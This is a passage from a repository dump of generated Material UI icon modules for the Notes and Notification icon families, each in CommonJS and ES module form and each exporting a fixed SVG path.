    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1M4 18h10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M20 6H4c-.55 0-1 .45-1 1v.01c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1\"\n}), 'NotesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11H4c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1M4 18h10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M20 6H4c-.55 0-1 .45-1 1v.01c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1\"\n}), 'NotesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.01 3 11v2h18zM3 16h12v2H3zM21 6H3v2.01L21 8z\"\n}), 'NotesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.01 3 11v2h18zM3 16h12v2H3zM21 6H3v2.01L21 8z\"\n}), 'NotesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.01 3 11v2h18zM3 16h12v2H3zM21 6H3v2.01L21 8z\"\n}), 'NotesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.01 3 11v2h18zM3 16h12v2H3zM21 6H3v2.01L21 8z\"\n}), 'NotesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2m4-11c0 2.61 1.67 4.83 4 5.66V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.71.18 1.36.49 1.95.9C14.54 6.14 14 7.51 14 9m10-1h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2m4-11c0 2.61 1.67 4.83 4 5.66V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.71.18 1.36.49 1.95.9C14.54 6.14 14 7.51 14 9m10-1h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14v3H8v-7c0-2.21 1.79-4 4-4 .85 0 1.64.26 2.28.72l1.43-1.43c-.64-.51-1.39-.88-2.21-1.09v-.7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.7C7.91 4.86 6 7.21 6 10v7H4v2h16v-2h-2v-3zm-4 8c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2M24 8h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14v3H8v-7c0-2.21 1.79-4 4-4 .85 0 1.64.26 2.28.72l1.43-1.43c-.64-.51-1.39-.88-2.21-1.09v-.7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.7C7.91 4.86 6 7.21 6 10v7H4v2h16v-2h-2v-3zm-4 8c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2M24 8h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2m4-11c0 2.61 1.67 4.83 4 5.66V17h1c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h1v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.71.18 1.36.49 1.95.9C14.54 6.14 14 7.51 14 9m9-1h-2V6c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'NotificationAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2m4-11c0 2.61 1.67 4.83 4 5.66V17h1c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1h1v-7c0-2.79 1.91-5.14 4.5-5.8v-.7c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.7c.71.18 1.36.49 1.95.9C14.54 6.14 14 7.51 14 9m9-1h-2V6c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'NotificationAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2m4-11c0 2.61 1.67 4.83 4 5.66V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8V2h3v2.2c.71.18 1.36.49 1.95.9C14.54 6.14 14 7.51 14 9m10-1h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 20h4c0 1.1-.9 2-2 2s-2-.9-2-2m4-11c0 2.61 1.67 4.83 4 5.66V17h2v2H4v-2h2v-7c0-2.79 1.91-5.14 4.5-5.8V2h3v2.2c.71.18 1.36.49 1.95.9C14.54 6.14 14 7.51 14 9m10-1h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14v3H8v-7c0-2.21 1.79-4 4-4 .85 0 1.64.26 2.28.72l1.43-1.43c-.64-.51-1.39-.88-2.21-1.09v-.7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.7C7.91 4.86 6 7.21 6 10v7H4v2h16v-2h-2v-3zm-4 8c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2M24 8h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14v3H8v-7c0-2.21 1.79-4 4-4 .85 0 1.64.26 2.28.72l1.43-1.43c-.64-.51-1.39-.88-2.21-1.09v-.7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.7C7.91 4.86 6 7.21 6 10v7H4v2h16v-2h-2v-3zm-4 8c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2M24 8h-3V5h-2v3h-3v2h3v3h2v-3h3z\"\n}), 'NotificationAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportant.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-5 0h-2v-2h2zm0-4h-2V8h2zm-1 10c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2\"\n}), 'NotificationImportant');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportant.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-5 0h-2v-2h2zm0-4h-2V8h2zm-1 10c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2\"\n}), 'NotificationImportant');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.01 21.01c0 1.1.89 1.99 1.99 1.99s1.99-.89 1.99-1.99zM12 6c2.76 0 5 2.24 5 5v7H7v-7c0-2.76 2.24-5 5-5m0-4.5c-.83 0-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1l-2-2v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5M11 8h2v4h-2zm0 6h2v2h-2z\"\n}), 'NotificationImportantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.01 21.01c0 1.1.89 1.99 1.99 1.99s1.99-.89 1.99-1.99zM12 6c2.76 0 5 2.24 5 5v7H7v-7c0-2.76 2.24-5 5-5m0-4.5c-.83 0-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1l-2-2v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5M11 8h2v4h-2zm0 6h2v2h-2z\"\n}), 'NotificationImportantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m8.29-4.71L19 17v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-1.29 1.29c-.63.63-.19 1.71.7 1.71h15.17c.9 0 1.34-1.08.71-1.71M13 16h-2v-2h2zm0-5c0 .55-.45 1-1 1s-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'NotificationImportantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m8.29-4.71L19 17v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-1.29 1.29c-.63.63-.19 1.71.7 1.71h15.17c.9 0 1.34-1.08.71-1.71M13 16h-2v-2h2zm0-5c0 .55-.45 1-1 1s-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'NotificationImportantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V1.5h-3v2.67C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-6-1h-2v-2h2zm0-4h-2V8h2z\"\n}), 'NotificationImportantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V1.5h-3v2.67C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-6-1h-2v-2h2zm0-4h-2V8h2z\"\n}), 'NotificationImportantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-2.76 0-5 2.24-5 5v7h10v-7c0-2.76-2.24-5-5-5m1 10h-2v-2h2zm0-4h-2V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-2 1H7v-7c0-2.76 2.24-5 5-5s5 2.24 5 5zM11 8h2v4h-2zm0 6h2v2h-2z\"\n}, \"1\")], 'NotificationImportantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationImportantTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-2.76 0-5 2.24-5 5v7h10v-7c0-2.76-2.24-5-5-5m1 10h-2v-2h2zm0-4h-2V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-2 1H7v-7c0-2.76 2.24-5 5-5s5 2.24 5 5zM11 8h2v4h-2zm0 6h2v2h-2z\"\n}, \"1\")], 'NotificationImportantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Notifications.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1z\"\n}), 'Notifications');"
  },
  {
    "path": "packages/mui-icons-material/lib/Notifications.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2m6-6v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1z\"\n}), 'Notifications');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42M18 11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18q.15-.36.15-.78h-4c.01 1.1.9 2 2.01 2\"\n}), 'NotificationsActive');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42M18 11c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.63 5.36 6 7.92 6 11v5l-2 2v1h16v-1l-2-2zm-6 11c.14 0 .27-.01.4-.04.65-.14 1.18-.58 1.44-1.18q.15-.36.15-.78h-4c.01 1.1.9 2 2.01 2\"\n}), 'NotificationsActive');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zM7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42\"\n}), 'NotificationsActiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m6-6v-5c0-3.07-1.63-5.64-4.5-6.32V4c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.68C7.64 5.36 6 7.92 6 11v5l-2 2v1h16v-1zm-2 1H8v-6c0-2.48 1.51-4.5 4-4.5s4 2.02 4 4.5zM7.58 4.08 6.15 2.65C3.75 4.48 2.17 7.3 2.03 10.5h2c.15-2.65 1.51-4.97 3.55-6.42m12.39 6.42h2c-.15-3.2-1.73-6.02-4.12-7.85l-1.42 1.43c2.02 1.45 3.39 3.77 3.54 6.42\"\n}), 'NotificationsActiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16v-5c0-3.07-1.64-5.64-4.5-6.32V4c0-.83-.68-1.5-1.51-1.5S10.5 3.17 10.5 4v.68C7.63 5.36 6 7.92 6 11v5l-1.3 1.29c-.63.63-.19 1.71.7 1.71h13.17c.89 0 1.34-1.08.71-1.71zm-6.01 6c1.1 0 2-.9 2-2h-4c0 1.1.89 2 2 2M6.77 4.73c.42-.38.43-1.03.03-1.43-.38-.38-1-.39-1.39-.02C3.7 4.84 2.52 6.96 2.14 9.34c-.09.61.38 1.16 1 1.16.48 0 .9-.35.98-.83.3-1.94 1.26-3.67 2.65-4.94M18.6 3.28c-.4-.37-1.02-.36-1.4.02-.4.4-.38 1.04.03 1.42 1.38 1.27 2.35 3 2.65 4.94.07.48.49.83.98.83.61 0 1.09-.55.99-1.16-.38-2.37-1.55-4.48-3.25-6.05\"\n}), 'NotificationsActiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotificationsActiveRounded.mjs",
